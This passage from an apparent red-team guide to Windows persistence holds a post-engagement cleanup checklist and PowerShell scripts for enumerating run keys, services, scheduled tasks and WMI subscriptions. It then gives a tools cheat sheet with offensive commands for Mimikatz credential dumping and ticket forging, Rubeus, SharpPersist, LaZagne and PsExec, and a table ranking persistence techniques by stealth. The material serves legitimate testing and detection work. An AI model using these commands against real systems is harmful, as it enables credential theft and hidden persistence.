:: ─── Using Invoke-EventLogBypass (PowerSploit) to disable logging temporarily ───
20.4 Cleanup Checklist (Post-Engagement)
POST-ENGAGEMENT CLEANUP:
────────────────────────────────────────────────────────────────────
[ ] Remove all registry run keys added
[ ] Delete all scheduled tasks created
[ ] Remove all services created
[ ] Remove all DLLs dropped
[ ] Remove all payloads from disk
[ ] Delete backdoor user accounts
[ ] Remove SSH authorized keys added
[ ] Remove WMI event subscriptions
[ ] Remove COM object registrations in HKCU
[ ] Restore modified Winlogon keys to defaults
[ ] Restore accessibility binaries if replaced (sethc.exe etc.)
[ ] Remove startup folder shortcuts/binaries
[ ] Restore any modified service binary paths
[ ] Remove AppInit DLL registry entries
[ ] Remove Print Monitor DLL registrations
[ ] Remove LSA package DLL entries
[ ] Clear event logs (with client permission)
[ ] Remove any files in System32 dropped during the engagement
[ ] Revoke any AD persistence (DCSync ACEs, SID History, AdminSDHolder ACEs)
[ ] Invalidate Golden/Silver Tickets by rotating krbtgt twice (on authorized engagements)
21. Enumeration & Detection of Persistence Mechanisms
21.1 Automated Persistence Enumeration Tools
# ─── Autoruns (Sysinternals) — THE best persistence enumeration tool ───
.\Autoruns64.exe # GUI — shows everything across all categories
.\AutorunsC64.exe -a * # Command-line — all autoruns
.\AutorunsC64.exe -a * -o autoruns.txt # Export to text
.\AutorunsC64.exe -a * | Where-Object { $_ -match "red" } # Filter suspicious
# Autoruns categories:
# Logon → Run keys, startup folders, Winlogon
# Services → Windows services
# Scheduled Tasks → All scheduled tasks
# Drivers → Kernel drivers
# Print Monitors → Print monitor DLLs
# LSA Providers → LSA auth packages
# AppInit → AppInit DLLs
# Boot Execute → BootExecute key
# Browser Extensions → IE/Chrome/Firefox add-ons
# Office Add-ins → COM add-ins for Office
# ─── Sigcheck — verify binary signatures ───
.\sigcheck64.exe -s C:\Windows\System32\*.exe | findstr /i "not"
.\sigcheck64.exe -u C:\Windows\System32\ # unsigned binaries only
# ─── WinPEAS — checks persistence as part of full audit ───
.\winPEASx64.exe
# Look for: "Users AutoRun" section, "Windows Services" section
21.2 Manual Registry Enumeration
# ─── Check all run keys ───
$runKeys = @(
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
"HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run",
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run",
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
)
foreach ($key in $runKeys) {
if (Test-Path $key) {
Write-Host "[*] $key"
Get-ItemProperty $key | Select-Object * -ExcludeProperty PS* | Format-List
}
}
# ─── Check Winlogon keys ───
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" |
Select-Object Userinit, Shell | Format-List
# ─── Check IFEO ───
Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" |
ForEach-Object {
$debugger = (Get-ItemProperty $_.PSPath -ErrorAction SilentlyContinue).Debugger
if ($debugger) { Write-Host "$($_.PSChildName) → $debugger" }
}
# ─── Check AppInit DLLs ───
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" |
Select-Object AppInit_DLLs, LoadAppInit_DLLs | Format-List
# ─── Check LSA packages ───
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" |
Select-Object "Notification Packages", "Security Packages" | Format-List
21.3 Scheduled Task Enumeration
# ─── List all non-Microsoft tasks ───
Get-ScheduledTask | Where-Object {
$_.TaskPath -notlike "\Microsoft\*"
} | Select-Object TaskName, TaskPath, State |
Sort-Object TaskPath | Format-Table -AutoSize
# ─── Get full details of a suspicious task ───
Get-ScheduledTask -TaskName "SuspiciousTask" |
Get-ScheduledTaskInfo
# ─── Export all task XML for inspection ───
Get-ScheduledTask | Export-ScheduledTask | Out-File -FilePath C:\Temp\all_tasks.xml
# ─── Via CMD ───
schtasks /query /fo LIST /v > C:\Temp\schtasks_full.txt
21.4 Service Enumeration
# ─── List all non-standard services (path not in System32 or Program Files) ───
Get-WmiObject Win32_Service | Where-Object {
$_.PathName -notlike "C:\Windows\*" -and
$_.PathName -notlike '"C:\Windows\*' -and
$_.PathName -notlike "C:\Program Files*" -and
$_.PathName -notlike '"C:\Program Files*'
} | Select-Object Name, DisplayName, PathName, StartMode, State | Format-List
# ─── Check service binary signatures ───
Get-WmiObject Win32_Service | Where-Object { $_.State -eq "Running" } |
ForEach-Object {
$path = ($_.PathName -replace '"','') -split ' ' | Select-Object -First 1
if (Test-Path $path) {
$sig = Get-AuthenticodeSignature $path -ErrorAction SilentlyContinue
if ($sig.Status -ne "Valid") {
[PSCustomObject]@{ Name=$_.Name; Path=$path; Sig=$sig.Status }
}
}
}
# ─── Via sc.exe ───
sc query type= all state= all | findstr /i "service_name\|binary"
21.5 WMI Subscription Enumeration
# ─── Enumerate WMI persistence ───
Get-WMIObject -Namespace root\subscription -Class __EventFilter |
Select-Object Name, Query | Format-Table -AutoSize
Get-WMIObject -Namespace root\subscription -Class __EventConsumer |
Select-Object Name, CommandLineTemplate, ScriptText | Format-List
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding |
Select-Object Filter, Consumer | Format-List
# ─── Quick check — any non-standard subscriptions? ───
@("__EventFilter","CommandLineEventConsumer","ActiveScriptEventConsumer","__FilterToConsumerBinding") |
ForEach-Object {
$count = (Get-WMIObject -Namespace root\subscription -Class $_ 2>$null).Count
Write-Host "$_ : $count"
}
22. Tools Cheat Sheet
TOOL PURPOSE USAGE
────────────────────────────────────────────────────────────────────────────────────────
Autoruns Enumerate ALL persistence mechanisms GUI / CLI (AutorunsC64.exe)
(most comprehensive single tool for detection)
Seatbelt Security audit / persistence checks .\Seatbelt.exe RegistryAutoRuns
.\Seatbelt.exe ProcessCreationEvents
.\Seatbelt.exe -group=all
PowerUp Service/DLL hijacking opportunities Invoke-AllChecks
Mimikatz Credential dumping, ticket forging, privilege::debug
Skeleton Key, SID injection sekurlsa::logonpasswords
kerberos::golden (Golden Ticket)
misc::skeleton
Rubeus Kerberos attacks (tickets, Golden/Silver) .\Rubeus.exe golden
.\Rubeus.exe silver
.\Rubeus.exe ptt
Impacket Remote credential/secret dumping, DCSync python3 secretsdump.py
python3 dacledit.py
PowerView AD enumeration, ACL manipulation Add-DomainObjectAcl
Get-DomainObjectAcl
SharpPersist Automated persistence installation .\SharpPersist.exe -t schtask
(services, tasks, run keys, etc.) .\SharpPersist.exe -t reg
.\SharpPersist.exe -t wmi
PowerLurk WMI persistence framework Register-MaliciousWmiEvent
SharPersist .NET-based persistence toolkit Multiple persistence methods
LaZagne Credential harvesting (all credential stores) .\LaZagne.exe all
winPEAS Full system audit (includes persistence checks) .\winPEASx64.exe
PsExec (Sysinternals) Remote service/command execution .\PsExec.exe \\target cmd.exe
NSSM Wrap any executable as a Windows service nssm.exe install ServiceName exe
Sigcheck Verify binary code signatures .\sigcheck64.exe -u C:\Windows\System32\
23. Quick Reference Table
| Technique | Privilege Required | Survives Reboot | Survives User Logout | Detection Risk | Stealth Level |
|---|---|---|---|---|---|
| HKLM Run Key | Admin | Yes | Yes | High | Low |
| HKCU Run Key | User | Yes | No | High | Low |
| Winlogon Userinit | Admin | Yes | Yes | Medium | Medium |
| IFEO Debugger | Admin | Yes | Yes | Medium | Medium |
| SilentProcessExit | Admin | Yes | Yes | Low | High |
| Service (new) | Admin | Yes | Yes | Medium | Medium |
| Service (hijack) | Admin/Write | Yes | Yes | Low | High |
| Scheduled Task | Admin/User | Yes | Yes/No | Medium | Medium |
| WMI Subscription | Admin | Yes | Yes | Low | High |
| Startup Folder | Admin/User | Yes | No | High | Low |
| COM Hijacking | User (HKCU) | Yes | No | Low | High |
| DLL Hijacking | Write to path | Yes | Yes (if svc) | Low | High |
| AppInit DLL | Admin | Yes | Yes | Medium | Medium |
| LSA Package | Admin | Yes | Yes | Low | High |
| Print Monitor DLL | Admin | Yes | Yes | Low | High |
| Accessibility IFEO | Admin | Yes | Yes | Low | High |
| Backdoor Account | Admin | Yes | Yes | High (if audited) | Low |
| SSH Authorized Keys | Admin | Yes | Yes | Medium | Medium |
| PowerShell Profile | User | Yes | No | Low | Medium |
| WMI Fileless (ActiveScript) | Admin | Yes | Yes | Low | Very High |
| Golden Ticket (AD) | Domain Admin | N/A (AD-level) | N/A | Very Low | Very High |
| Silver Ticket (AD) | Service Account Hash | N/A (AD-level) | N/A | Very Low | Very High |
| DCSync ACL | Domain Admin | Yes (in AD) | Yes (in AD) | Low | High |
| AdminSDHolder | Domain Admin | Yes (in AD) | Yes (in AD) | Low | High |
| DSRM Account | Admin on DC | Yes | Yes | Low | High |
| Skeleton Key | SYSTEM on DC | No (memory only) | No | Medium | Medium |
| BootExecute Key | SYSTEM | Yes | Yes | Low | Very High |
| MBR/UEFI Implant | SYSTEM/Physical | Yes | Yes | Very Low | Very High |